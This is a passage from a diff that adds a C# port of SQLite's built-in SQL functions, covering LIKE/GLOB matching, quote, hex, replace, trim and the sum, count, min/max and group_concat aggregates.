This is GLOB, not LIKE */ + Debug.Assert( matchSet < 0x80 ); /* '[' is a single-byte character */ + int len = 0; + while ( len < zString.Length && patternCompare( inPattern.Substring( inPattern.Length - zPattern.Length - 1 ), zString.Substring( len ), pInfo, esc ) == false ) + { + SQLITE_SKIP_UTF8( zString, ref len ); + } + return len < zString.Length; + } + while ( ( c2 = sqlite3Utf8Read( zString, ref zString ) ) != 0 ) + { + if ( noCase ) + { + if( 0==((c2)&~0x7f) ) + c2 = (u32)sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); + if ( 0 == ( ( c ) & ~0x7f ) ) + c = (u32)sqlite3UpperToLower[c]; //GlogUpperToLower(c); + while ( c2 != 0 && c2 != c ) + { + c2 = sqlite3Utf8Read( zString, ref zString ); + if ( 0 == ( ( c2 ) & ~0x7f ) ) + c2 = (u32)sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); + } + } + else + { + while ( c2 != 0 && c2 != c ) + { + c2 = sqlite3Utf8Read( zString, ref zString ); + } + } + if ( c2 == 0 ) + return false; + if ( patternCompare( zPattern, zString, pInfo, esc ) ) + return true; + } + return false; + } + else if ( !prevEscape && c == matchOne ) + { + if ( sqlite3Utf8Read( zString, ref zString ) == 0 ) + { + return false; + } + } + else if ( c == matchSet ) + { + u32 prior_c = 0; + Debug.Assert( esc == 0 ); /* This only occurs for GLOB, not LIKE */ + seen = 0; + invert = 0; + c = sqlite3Utf8Read( zString, ref zString ); + if ( c == 0 ) + return false; + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + if ( c2 == '^' ) + { + invert = 1; + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + } + if ( c2 == ']' ) + { + if ( c == ']' ) + seen = 1; + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + } + while ( c2 != 0 && c2 != ']' ) + { + if ( c2 == '-' && zPattern[0] != ']' && zPattern[0] != 0 && prior_c > 0 ) + { + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + if ( c >= prior_c && c <= c2 ) + seen = 1; + prior_c = 0; + } + else + { + if ( c == c2 ) + { + seen = 1; + } + prior_c = c2; + } + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + } + if ( c2 == 0 || ( seen ^ invert ) == 0 ) + { + return false; + } + } + else if ( esc == c && !prevEscape ) + { + prevEscape = true; + } + else + { + c2 = sqlite3Utf8Read( zString, ref zString ); + if ( noCase ) + { + if ( c < 0x80 ) + c = (u32)sqlite3UpperToLower[c]; //GlogUpperToLower(c); + if ( c2 < 0x80 ) + c2 = (u32)sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); + } + if ( c != c2 ) + { + return false; + } + prevEscape = false; + } + } + return zString.Length == 0; + } + + /* + ** Count the number of times that the LIKE operator (or GLOB which is + ** just a variation of LIKE) gets called. This is used for testing + ** only. + */ +#if SQLITE_TEST +#if !TCLSH + static int sqlite3_like_count = 0; +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_like_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_like_count" ); +#endif +#endif + + + /* +** Implementation of the like() SQL function. This function implements +** the build-in LIKE operator. The first argument to the function is the +** pattern and the second argument is the string. So, the SQL statements: +** +** A LIKE B +** +** is implemented as like(B,A). +** +** This same function (with a different compareInfo structure) computes +** the GLOB operator. +*/ + static void likeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zA, zB; + u32 escape = 0; + int nPat; + sqlite3 db = sqlite3_context_db_handle( context ); + + zB = sqlite3_value_text( argv[0] ); + zA = sqlite3_value_text( argv[1] ); + + /* Limit the length of the LIKE or GLOB pattern to avoid problems + ** of deep recursion and N*N behavior in patternCompare(). + */ + nPat = sqlite3_value_bytes( argv[0] ); + testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] ); + testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] + 1 ); + if ( nPat > db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] ) + { + sqlite3_result_error( context, "LIKE or GLOB pattern too complex", -1 ); + return; + } + //Debug.Assert( zB == sqlite3_value_text( argv[0] ) ); /* Encoding did not change */ + + if ( argc == 3 ) + { + /* The escape character string must consist of a single UTF-8 character. + ** Otherwise, return an error. + */ + string zEsc = sqlite3_value_text( argv[2] ); + if ( zEsc == null ) + return; + if ( sqlite3Utf8CharLen( zEsc, -1 ) != 1 ) + { + sqlite3_result_error( context, + "ESCAPE expression must be a single character", -1 ); + return; + } + escape = sqlite3Utf8Read( zEsc, ref zEsc ); + } + if ( zA != null && zB != null ) + { + compareInfo pInfo = (compareInfo)sqlite3_user_data( context ); +#if SQLITE_TEST +#if !TCLSH + sqlite3_like_count++; +#else + sqlite3_like_count.iValue++; +#endif +#endif + sqlite3_result_int( context, patternCompare( zB, zA, pInfo, escape ) ? 1 : 0 ); + } + } + + /* + ** Implementation of the NULLIF(x,y) function. The result is the first + ** argument if the arguments are different. The result is NULL if the + ** arguments are equal to each other. + */ + static void nullifFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + CollSeq pColl = sqlite3GetFuncCollSeq( context ); + UNUSED_PARAMETER( NotUsed ); + if ( sqlite3MemCompare( argv[0], argv[1], pColl ) != 0 ) + { + sqlite3_result_value( context, argv[0] ); + } + } + + /* + ** Implementation of the sqlite_version() function. The result is the version + ** of the SQLite library that is running. + */ + static void versionFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + /* IMP: R-48699-48617 This function is an SQL wrapper around the + ** sqlite3_libversion() C-interface. */ + sqlite3_result_text( context, sqlite3_libversion(), -1, SQLITE_STATIC ); + } + + /* + ** Implementation of the sqlite_source_id() function. The result is a string + ** that identifies the particular version of the source code used to build + ** SQLite. + */ + static void sourceidFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + /* IMP: R-24470-31136 This function is an SQL wrapper around the + ** sqlite3_sourceid() C interface. */ + sqlite3_result_text( context, sqlite3_sourceid(), -1, SQLITE_STATIC ); + } + + /* + ** Implementation of the sqlite_log() function. This is a wrapper around + ** sqlite3_log(). The return value is NULL. The function exists purely for + ** its side-effects. + */ + static void errlogFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + UNUSED_PARAMETER( argc ); + UNUSED_PARAMETER( context ); + sqlite3_log( sqlite3_value_int( argv[0] ), "%s", sqlite3_value_text( argv[1] ) ); + } + + /* + ** Implementation of the sqlite_compileoption_used() function. + ** The result is an integer that identifies if the compiler option + ** was used to build SQLite. + */ +#if !SQLITE_OMIT_COMPILEOPTION_DIAGS + static void compileoptionusedFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zOptName; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + /* IMP: R-39564-36305 The sqlite_compileoption_used() SQL + ** function is a wrapper around the sqlite3_compileoption_used() C/C++ + ** function. + */ + if ( ( zOptName = sqlite3_value_text( argv[0] ) ) != null ) + { + sqlite3_result_int( context, sqlite3_compileoption_used( zOptName ) ); + } + } +#endif //* SQLITE_OMIT_COMPILEOPTION_DIAGS */ + + + /* +** Implementation of the sqlite_compileoption_get() function. +** The result is a string that identifies the compiler options +** used to build SQLite. +*/ +#if !SQLITE_OMIT_COMPILEOPTION_DIAGS + static void compileoptiongetFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int n; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + /* IMP: R-04922-24076 The sqlite_compileoption_get() SQL function + ** is a wrapper around the sqlite3_compileoption_get() C/C++ function. + */ + n = sqlite3_value_int( argv[0] ); + sqlite3_result_text( context, sqlite3_compileoption_get( n ), -1, SQLITE_STATIC ); + } +#endif //* SQLITE_OMIT_COMPILEOPTION_DIAGS */ + + /* Array for converting from half-bytes (nybbles) into ASCII hex +** digits. */ + static char[] hexdigits = new char[] { +'0', '1', '2', '3', '4', '5', '6', '7', +'8', '9', 'A', 'B', 'C', 'D', 'E', 'F' +}; + + /* + ** EXPERIMENTAL - This is not an official function. The interface may + ** change. This function may disappear. Do not write code that depends + ** on this function. + ** + ** Implementation of the QUOTE() function. This function takes a single + ** argument. If the argument is numeric, the return value is the same as + ** the argument. If the argument is NULL, the return value is the string + ** "NULL". Otherwise, the argument is enclosed in single quotes with + ** single-quote escapes. + */ + static void quoteFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_INTEGER: + case SQLITE_FLOAT: + { + sqlite3_result_value( context, argv[0] ); + break; + } + case SQLITE_BLOB: + { + StringBuilder zText; + byte[] zBlob = sqlite3_value_blob( argv[0] ); + int nBlob = sqlite3_value_bytes( argv[0] ); + Debug.Assert( zBlob.Length == sqlite3_value_blob( argv[0] ).Length ); /* No encoding change */ + zText = new StringBuilder( 2 * nBlob + 4 );//(char*)contextMalloc(context, (2*(i64)nBlob)+4); + zText.Append( "X'" ); + if ( zText != null ) + { + int i; + for ( i = 0; i < nBlob; i++ ) + { + zText.Append( hexdigits[( zBlob[i] >> 4 ) & 0x0F] ); + zText.Append( hexdigits[( zBlob[i] ) & 0x0F] ); + } + zText.Append( "'" ); + //zText[( nBlob * 2 ) + 2] = '\''; + //zText[( nBlob * 2 ) + 3] = '\0'; + //zText[0] = 'X'; + //zText[1] = '\''; + sqlite3_result_text( context, zText, -1, SQLITE_TRANSIENT ); + //sqlite3_free( zText ); + } + break; + } + case SQLITE_TEXT: + { + int i, j; + int n; + string zArg = sqlite3_value_text( argv[0] ); + StringBuilder z; + + if ( zArg == null || zArg.Length == 0 ) + return; + for ( i = 0, n = 0; i < zArg.Length; i++ ) + { + if ( zArg[i] == '\'' ) + n++; + } + z = new StringBuilder( i + n + 3 );// contextMalloc(context, ((i64)i)+((i64)n)+3); + if ( z != null ) + { + z.Append( '\'' ); + for ( i = 0, j = 1; i < zArg.Length && zArg[i] != 0; i++ ) + { + z.Append( (char)zArg[i] ); + j++; + if ( zArg[i] == '\'' ) + { + z.Append( '\'' ); + j++; + } + } + z.Append( '\'' ); + j++; + //z[j] = '\0'; ; + sqlite3_result_text( context, z, j, null );//sqlite3_free ); + } + break; + } + default: + { + Debug.Assert( sqlite3_value_type( argv[0] ) == SQLITE_NULL ); + sqlite3_result_text( context, "NULL", 4, SQLITE_STATIC ); + break; + } + } + } + + /* + ** The hex() function. Interpret the argument as a blob. Return + ** a hexadecimal rendering as text. + */ + static void hexFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int i, n; + byte[] pBlob; + //string zHex, z; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + pBlob = sqlite3_value_blob( argv[0] ); + n = sqlite3_value_bytes( argv[0] ); + Debug.Assert( n == ( pBlob == null ? 0 : pBlob.Length ) ); /* No encoding change */ + StringBuilder zHex = new StringBuilder( n * 2 + 1 ); + // z = zHex = contextMalloc(context, ((i64)n)*2 + 1); + if ( zHex != null ) + { + for ( i = 0; i < n; i++ ) + {//, pBlob++){ + byte c = pBlob[i]; + zHex.Append( hexdigits[( c >> 4 ) & 0xf] ); + zHex.Append( hexdigits[c & 0xf] ); + } + sqlite3_result_text( context, zHex, n * 2, null ); //sqlite3_free ); + } + } + + /* + ** The zeroblob(N) function returns a zero-filled blob of size N bytes. + */ + static void zeroblobFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + i64 n; + sqlite3 db = sqlite3_context_db_handle( context ); + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + n = sqlite3_value_int64( argv[0] ); + testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] ); + testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] + 1 ); + if ( n > db.aLimit[SQLITE_LIMIT_LENGTH] ) + { + sqlite3_result_error_toobig( context ); + } + else + { + sqlite3_result_zeroblob( context, (int)n );/* IMP: R-00293-64994 */ + } + } + + /* + ** The replace() function. Three arguments are all strings: call + ** them A, B, and C. The result is also a string which is derived + ** from A by replacing every occurance of B with C. The match + ** must be exact. Collating sequences are not used. + */ + static void replaceFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zStr; /* The input string A */ + string zPattern; /* The pattern string B */ + string zRep; /* The replacement string C */ + string zOut = null; /* The output */ + int nStr; /* Size of zStr */ + int nPattern; /* Size of zPattern */ + int nRep; /* Size of zRep */ + int nOut; /* Maximum size of zOut */ + //int loopLimit; /* Last zStr[] that might match zPattern[] */ + int i, j = 0; /* Loop counters */ + + Debug.Assert( argc == 3 ); + UNUSED_PARAMETER( argc ); + zStr = sqlite3_value_text( argv[0] ); + if ( zStr == null ) + return; + nStr = sqlite3_value_bytes( argv[0] ); + Debug.Assert( zStr == sqlite3_value_text( argv[0] ) ); /* No encoding change */ + zPattern = sqlite3_value_text( argv[1] ); + if ( zPattern == null ) + { + Debug.Assert( sqlite3_value_type( argv[1] ) == SQLITE_NULL + //|| sqlite3_context_db_handle( context ).mallocFailed != 0 + ); + return; + } + if ( zPattern == "" ) + { + Debug.Assert( sqlite3_value_type( argv[1] ) != SQLITE_NULL ); + sqlite3_result_value( context, argv[0] ); + return; + } + nPattern = sqlite3_value_bytes( argv[1] ); + Debug.Assert( zPattern == sqlite3_value_text( argv[1] ) ); /* No encoding change */ + zRep = sqlite3_value_text( argv[2] ); + if ( zRep == null ) + return; + nRep = sqlite3_value_bytes( argv[2] ); + Debug.Assert( zRep == sqlite3_value_text( argv[2] ) ); + nOut = nStr + 1; + Debug.Assert( nOut < SQLITE_MAX_LENGTH ); + if ( nOut <= sqlite3_context_db_handle( context ).aLimit[SQLITE_LIMIT_LENGTH] ) + { + //zOut = contextMalloc(context, (i64)nOut); + //if( zOut==0 ){ + // return; + //} + //loopLimit = nStr - nPattern; + //for(i=j=0; i<=loopLimit; i++){ + // if( zStr[i]!=zPattern[0] || memcmp(&zStr[i], zPattern, nPattern) ){ + // zOut[j++] = zStr[i]; + // }else{ + // u8 *zOld; + // sqlite3 db = sqlite3_context_db_handle( context ); + // nOut += nRep - nPattern; + //testcase( nOut-1==db->aLimit[SQLITE_LIMIT_LENGTH] ); + //testcase( nOut-2==db->aLimit[SQLITE_LIMIT_LENGTH] ); + //if( nOut-1>db->aLimit[SQLITE_LIMIT_LENGTH] ){ + // sqlite3_result_error_toobig(context); + // sqlite3_free(zOut); + // return; + // } + // zOld = zOut; + // zOut = sqlite3_realloc(zOut, (int)nOut); + // if( zOut==0 ){ + // sqlite3_result_error_nomem(context); + // sqlite3_free(zOld); + // return; + // } + // memcpy(&zOut[j], zRep, nRep); + // j += nRep; + // i += nPattern-1; + // } + //} + //Debug.Assert( j+nStr-i+1==nOut ); + //memcpy(&zOut[j], zStr[i], nStr-i); + //j += nStr - i; + //Debug.Assert( j<=nOut ); + //zOut[j] = 0; + try + { + zOut = zStr.Replace( zPattern, zRep ); + j = zOut.Length; + } + catch + { + j = 0; + } + } + if ( j == 0 || j > sqlite3_context_db_handle( context ).aLimit[SQLITE_LIMIT_LENGTH] ) + { + sqlite3_result_error_toobig( context ); + } + else + { + sqlite3_result_text( context, zOut, j, null );//sqlite3_free ); + } + } + + /* + ** Implementation of the TRIM(), LTRIM(), and RTRIM() functions. + ** The userdata is 0x1 for left trim, 0x2 for right trim, 0x3 for both. + */ + static void trimFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zIn; /* Input string */ + string zCharSet; /* Set of characters to trim */ + int nIn; /* Number of bytes in input */ + int izIn = 0; /* C# string pointer */ + int flags; /* 1: trimleft 2: trimright 3: trim */ + int i; /* Loop counter */ + int[] aLen = null; /* Length of each character in zCharSet */ + byte[][] azChar = null; /* Individual characters in zCharSet */ + int nChar = 0; /* Number of characters in zCharSet */ + byte[] zBytes = null; + byte[] zBlob = null; + + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) + { + return; + } + zIn = sqlite3_value_text( argv[0] ); + if ( zIn == null ) + return; + nIn = sqlite3_value_bytes( argv[0] ); + zBlob = sqlite3_value_blob( argv[0] ); + //Debug.Assert( zIn == sqlite3_value_text( argv[0] ) ); + if ( argc == 1 ) + { + int[] lenOne = new int[] { 1 }; + byte[] azOne = new byte[] { (u8)' ' };//static unsigned char * const azOne[] = { (u8*)" " }; + nChar = 1; + aLen = lenOne; + azChar = new byte[1][]; + azChar[0] = azOne; + zCharSet = null; + } + else if ( ( zCharSet = sqlite3_value_text( argv[1] ) ) == null ) + { + return; + } + else + { + if ( ( zBytes = sqlite3_value_blob( argv[1] ) ) != null ) + { + int iz = 0; + for ( nChar = 0; iz < zBytes.Length; nChar++ ) + { + SQLITE_SKIP_UTF8( zBytes, ref iz ); + } + if ( nChar > 0 ) + { + azChar = new byte[nChar][];//contextMalloc(context, ((i64)nChar)*(sizeof(char*)+1)); + if ( azChar == null ) + { + return; + } + aLen = new int[nChar]; + + int iz0 = 0; + int iz1 = 0; + for ( int ii = 0; ii < nChar; ii++ ) + { + SQLITE_SKIP_UTF8( zBytes, ref iz1 ); + aLen[ii] = iz1 - iz0; + azChar[ii] = new byte[aLen[ii]]; + Buffer.BlockCopy( zBytes, iz0, azChar[ii], 0, azChar[ii].Length ); + iz0 = iz1; + } + } + } + } + if ( nChar > 0 ) + { + flags = (int)sqlite3_user_data( context ); // flags = SQLITE_PTR_TO_INT(sqlite3_user_data(context)); + if ( ( flags & 1 ) != 0 ) + { + while ( nIn > 0 ) + { + int len = 0; + for ( i = 0; i < nChar; i++ ) + { + len = aLen[i]; + if ( len <= nIn && memcmp( zBlob, izIn, azChar[i], len ) == 0 ) + break; + } + if ( i >= nChar ) + break; + izIn += len; + nIn -= len; + } + } + if ( ( flags & 2 ) != 0 ) + { + while ( nIn > 0 ) + { + int len = 0; + for ( i = 0; i < nChar; i++ ) + { + len = aLen[i]; + if ( len <= nIn && memcmp( zBlob, izIn + nIn - len, azChar[i], len ) == 0 ) + break; + } + if ( i >= nChar ) + break; + nIn -= len; + } + } + if ( zCharSet != null ) + { + //sqlite3_free( ref azChar ); + } + } + StringBuilder sb = new StringBuilder( nIn ); + for ( i = 0; i < nIn; i++ ) + sb.Append( (char)zBlob[izIn + i] ); + sqlite3_result_text( context, sb, nIn, SQLITE_TRANSIENT ); + } + + /* IMP: R-25361-16150 This function is omitted from SQLite by default. It + ** is only available if the SQLITE_SOUNDEX compile-time option is used + ** when SQLite is built. + */ +#if SQLITE_SOUNDEX +/* +** Compute the soundex encoding of a word. +** +** IMP: R-59782-00072 The soundex(X) function returns a string that is the +** soundex encoding of the string X. +*/ +static void soundexFunc( +sqlite3_context context, +int argc, +sqlite3_value[] argv +) +{ +Debug.Assert(false); // TODO -- func_c +char zResult[8]; +const u8 *zIn; +int i, j; +static const unsigned char iCode[] = { +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0, +1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0, +0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0, +1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0, +}; +Debug.Assert( argc==1 ); +zIn = (u8*)sqlite3_value_text(argv[0]); +if( zIn==0 ) zIn = (u8*)""; +for(i=0; zIn[i] && !sqlite3Isalpha(zIn[i]); i++){} +if( zIn[i] ){ +u8 prevcode = iCode[zIn[i]&0x7f]; +zResult[0] = sqlite3Toupper(zIn[i]); +for(j=1; j<4 && zIn[i]; i++){ +int code = iCode[zIn[i]&0x7f]; +if( code>0 ){ +if( code!=prevcode ){ +prevcode = code; +zResult[j++] = code + '0'; +} +}else{ +prevcode = 0; +} +} +while( j<4 ){ +zResult[j++] = '0'; +} +zResult[j] = 0; +sqlite3_result_text(context, zResult, 4, SQLITE_TRANSIENT); +}else{ +/* IMP: R-64894-50321 The string "?000" is returned if the argument +** is NULL or contains no ASCII alphabetic characters. */ +sqlite3_result_text(context, "?000", 4, SQLITE_STATIC); +} +} +#endif //* SQLITE_SOUNDEX */ + +#if !SQLITE_OMIT_LOAD_EXTENSION + /* +** A function that loads a shared-library extension then returns NULL. +*/ + static void loadExt( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zFile = sqlite3_value_text( argv[0] ); + string zProc; + sqlite3 db = (sqlite3)sqlite3_context_db_handle( context ); + string zErrMsg = ""; + + if ( argc == 2 ) + { + zProc = sqlite3_value_text( argv[1] ); + } + else + { + zProc = ""; + } + if ( zFile != null && sqlite3_load_extension( db, zFile, zProc, ref zErrMsg ) != 0 ) + { + sqlite3_result_error( context, zErrMsg, -1 ); + sqlite3DbFree( db, ref zErrMsg ); + } + } +#endif + + /* +** An instance of the following structure holds the context of a +** sum() or avg() aggregate computation. +*/ + //typedef struct SumCtx SumCtx; + public class SumCtx + { + public double rSum; /* Floating point sum */ + public i64 iSum; /* Integer sum */ + public i64 cnt; /* Number of elements summed */ + public int overflow; /* True if integer overflow seen */ + public bool approx; /* True if non-integer value was input to the sum */ + public Mem _M; + public Mem Context + { + get + { + return _M; + } + set + { + _M = value; + if ( _M == null || _M.z == null ) + iSum = 0; + else + iSum = Convert.ToInt64( _M.z ); + } + } + }; + + /* + ** Routines used to compute the sum, average, and total. + ** + ** The SUM() function follows the (broken) SQL standard which means + ** that it returns NULL if it sums over no inputs. TOTAL returns + ** 0.0 in that case. In addition, TOTAL always returns a float where + ** SUM might return an integer if it never encounters a floating point + ** value. TOTAL never fails, but SUM might through an exception if + ** it overflows an integer. + */ + static void sumStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + SumCtx p; + + int type; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + Mem pMem = sqlite3_aggregate_context( context, 1 );//sizeof(*p)); + if ( pMem._SumCtx == null ) + pMem._SumCtx = new SumCtx(); + p = pMem._SumCtx; + if ( p.Context == null ) + p.Context = pMem; + type = sqlite3_value_numeric_type( argv[0] ); + if ( p != null && type != SQLITE_NULL ) + { + p.cnt++; + if ( type == SQLITE_INTEGER ) + { + i64 v = sqlite3_value_int64( argv[0] ); + p.rSum += v; + if ( !( p.approx | p.overflow != 0 ) && 0 != sqlite3AddInt64( ref p.iSum, v ) ) + { + p.overflow = 1; + } + } + else + { + p.rSum += sqlite3_value_double( argv[0] ); + p.approx = true; + } + } + } + static void sumFinalize( sqlite3_context context ) + { + SumCtx p = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) + p = pMem._SumCtx; + if ( p != null && p.cnt > 0 ) + { + if ( p.overflow != 0 ) + { + sqlite3_result_error( context, "integer overflow", -1 ); + } + else if ( p.approx ) + { + sqlite3_result_double( context, p.rSum ); + } + else + { + sqlite3_result_int64( context, p.iSum ); + } + p.cnt = 0; // Reset for C# + } + } + + static void avgFinalize( sqlite3_context context ) + { + SumCtx p = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) + p = pMem._SumCtx; + if ( p != null && p.cnt > 0 ) + { + sqlite3_result_double( context, p.rSum / (double)p.cnt ); + } + } + + static void totalFinalize( sqlite3_context context ) + { + SumCtx p = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) + p = pMem._SumCtx; + /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */ + sqlite3_result_double( context, p != null ? p.rSum : (double)0 ); + } + + /* + ** The following structure keeps track of state information for the + ** count() aggregate function. + */ + //typedef struct CountCtx CountCtx; + public class CountCtx + { + i64 _n; + Mem _M; + public Mem Context + { + get + { + return _M; + } + set + { + _M = value; + if ( _M == null || _M.z == null ) + _n = 0; + else + _n = Convert.ToInt64( _M.z ); + } + } + public i64 n + { + get + { + return _n; + } + set + { + _n = value; + if ( _M != null ) + _M.z = _n.ToString(); + } + } + } + + /* + ** Routines to implement the count() aggregate function. + */ + static void countStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + CountCtx p = new CountCtx(); + p.Context = sqlite3_aggregate_context( context, 1 );//sizeof(*p)); + if ( ( argc == 0 || SQLITE_NULL != sqlite3_value_type( argv[0] ) ) && p.Context != null ) + { + p.n++; + } +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED +/* The sqlite3_aggregate_count() function is deprecated. But just to make +** sure it still operates correctly, verify that its count agrees with our +** internal count when using count(*) and when the total count can be +** expressed as a 32-bit integer. */ +Debug.Assert( argc == 1 || p == null || p.n > 0x7fffffff +|| p.n == sqlite3_aggregate_count( context ) ); +#endif + } + + static void countFinalize( sqlite3_context context ) + { + CountCtx p = new CountCtx(); + p.Context = sqlite3_aggregate_context( context, 0 ); + sqlite3_result_int64( context, p != null ? p.n : 0 ); + } + + /* + ** Routines to implement min() and max() aggregate functions. + */ + static void minmaxStep( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + Mem pArg = (Mem)argv[0]; + Mem pBest; + UNUSED_PARAMETER( NotUsed ); + + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) + return; + pBest = (Mem)sqlite3_aggregate_context( context, 1 );//sizeof(*pBest)); + //if ( pBest == null ) return; + + if ( pBest.flags != 0 ) + { + bool max; + int cmp; + CollSeq pColl = sqlite3GetFuncCollSeq( context ); + /* This step function is used for both the min() and max() aggregates, + ** the only difference between the two being that the sense of the + ** comparison is inverted. For the max() aggregate, the + ** sqlite3_context_db_handle() function returns (void *)-1. For min() it + ** returns (void *)db, where db is the sqlite3* database pointer. + ** Therefore the next statement sets variable 'max' to 1 for the max() + ** aggregate, or 0 for min(). + */ + max = sqlite3_context_db_handle( context ) != null && (int)sqlite3_user_data( context ) != 0; + cmp = sqlite3MemCompare( pBest, pArg, pColl ); + if ( ( max && cmp < 0 ) || ( !max && cmp > 0 ) ) + { + sqlite3VdbeMemCopy( pBest, pArg ); + } + } + else + { + sqlite3VdbeMemCopy( pBest, pArg ); + } + } + + static void minMaxFinalize( sqlite3_context context ) + { + sqlite3_value pRes; + pRes = (sqlite3_value)sqlite3_aggregate_context( context, 0 ); + if ( pRes != null ) + { + if ( ALWAYS( pRes.flags != 0 ) ) + { + sqlite3_result_value( context, pRes ); + } + sqlite3VdbeMemRelease( pRes ); + } + } + + /* + ** group_concat(EXPR, ?SEPARATOR?) + */ + static void groupConcatStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zVal; + //StrAccum pAccum; + string zSep; + int nVal, nSep; + Debug.Assert( argc == 1 || argc == 2 ); + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) + return; + Mem pMem = sqlite3_aggregate_context( context, 1 );//sizeof(*pAccum)); + if ( pMem._StrAccum == null ) + pMem._StrAccum = new StrAccum( 100 ); + //pAccum = pMem._StrAccum; + + //if ( pMem._StrAccum != null ) + //{ + sqlite3 db = sqlite3_context_db_handle( context ); + //int firstTerm = pMem._StrAccum.useMalloc == 0 ? 1 : 0; + //pMem._StrAccum.useMalloc = 2; + pMem._StrAccum.mxAlloc = db.aLimit[SQLITE_LIMIT_LENGTH]; + if ( pMem._StrAccum.Context == null ) // first term + pMem._StrAccum.Context = pMem; + else + { + if ( argc == 2 ) + { + zSep = sqlite3_value_text( argv[1] ); + nSep = sqlite3_value_bytes( argv[1] ); + } + else + { + zSep = ","; + nSep = 1; + } + sqlite3StrAccumAppend( pMem._StrAccum, zSep, nSep ); + } + zVal = sqlite3_value_text( argv[0] ); + nVal = sqlite3_value_bytes( argv[0] ); + sqlite3StrAccumAppend( pMem._StrAccum, zVal, nVal ); + //} + } + + static void groupConcatFinalize( sqlite3_context context ) + { + //StrAccum pAccum = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) + { + if ( pMem._StrAccum == null ) + pMem._StrAccum = new StrAccum( 100 ); + StrAccum pAccum = pMem._StrAccum; + //} + //if ( pAccum != null ) + //{ + if ( pAccum.tooBig ) + { + sqlite3_result_error_toobig( context ); + } + //else if ( pAccum.mallocFailed != 0 ) + //{ + // sqlite3_result_error_nomem( context ); + //} + else + { + sqlite3_result_text( context, sqlite3StrAccumFinish( pAccum ), -1, + null ); //sqlite3_free ); + } + } + } + + /* + ** This routine does per-connection function registration. Most + ** of the built-in functions above are part of the global function set. + ** This routine only deals with those that are not global. + */ + public struct sFuncs + { + public string zName; + public sbyte nArg; + public u8 argType; /* 1: 0, 2: 1, 3: 2,... N: N-1. */ + public u8 eTextRep; /* 1: UTF-16. 0: UTF-8 */ + public u8 needCollSeq; + public dxFunc xFunc; //(sqlite3_context*,int,sqlite3_value **); + + // Constructor + public sFuncs( string zName, sbyte nArg, u8 argType, u8 eTextRep, u8 needCollSeq, dxFunc xFunc ) + { + this.zName = zName; + this.nArg = nArg; + this.argType = argType; + this.eTextRep = eTextRep; + this.needCollSeq = needCollSeq; + this.xFunc = xFunc; + } + }; + + public struct sAggs + { + public string zName; + public sbyte nArg; + public u8 argType; + public u8 needCollSeq; + public dxStep xStep; //(sqlite3_context*,int,sqlite3_value**); + public dxFinal xFinalize; //(sqlite3_context*); + 